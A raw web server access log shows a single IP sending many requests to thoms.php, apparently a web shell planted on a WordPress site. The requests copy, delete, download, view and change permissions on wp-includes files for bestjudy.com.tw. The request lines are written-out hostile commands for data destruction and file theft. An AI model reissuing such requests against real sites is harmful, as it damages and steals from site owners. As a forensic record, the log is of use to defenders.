45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?chmod=version.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FText HTTP/1.1" 200 13180 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59167 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 200 12046 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 200 12717 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59210 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?chmod=class-smtp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?dl=canonical.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59242 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 200 95662 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:45 -0400] "GET /thoms.php?del=default-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59201 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?dl=template-canvas.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59252 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?chmod=cache-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 200 13895 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 200 14574 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 200 13131 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 200 40643 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59236 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:46 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59195 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?del=class-wp-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fversion.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fversion.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?del=assets&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=assets&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 200 13647 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:47 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?chmod=block-patterns.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 200 100312 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?del=post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?del=post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?del=date.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=date.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?del=atomlib.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:48 -0400] "GET /thoms.php?dl=locale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?chmod=assets&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=assets&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 200 13897 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?del=block-patterns&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:49 -0400] "GET /thoms.php?del=images&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=images&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 200 75064 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?chmod=capabilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 200 14738 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?dl=comment-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59201 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:50 -0400] "GET /thoms.php?dl=deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:51 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:51 -0400] "GET /thoms.php?del=media.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58923 "http://163.245.207.76:443/thoms.php?del=media.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:51 -0400] "GET /thoms.php?chmod=ms-files.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 200 14021 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
